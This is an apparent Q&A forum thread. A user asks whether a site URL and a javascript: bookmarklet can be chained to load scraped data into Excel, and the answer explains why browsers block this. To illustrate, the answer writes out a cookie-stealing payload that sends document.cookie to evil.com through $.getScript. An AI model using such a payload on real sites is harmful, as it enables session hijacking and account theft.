I need to access some data in someone’s site. The way to get to that page is visiting http://www.foosite.com and click a link which has javascript:foo(); to bring out the real data.

foo() is like:

function foo(param){
    createXXXCookie('COOKIE_NAME', param, 60);
    window.location.href="/current/location";
}

So this is basically setting the cookie and reload the page again. During page load, the document ready reads COOKIE_NAME and display the corresponding data.

I want to use MS Excel to grab some data from this page. So I was looking for a one go way to get the data. Since in browser address bar, I can enter http://www.foosite.com first and then enter javascript:foo(); to invoke foo(). I was wondering if combining the URL and the bookmarklet, like http://www.foosite.com;javascript:foo(); could work? I actually tried this, but it seems IE/FF/GC will skip javascript:… part and just proceed the first part of URL.

    This is not possible.

    Had it been possible, it would be a deadly security hole.

    Email someone a shortlink to http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie)), and move on from there to auto-submitting forms.
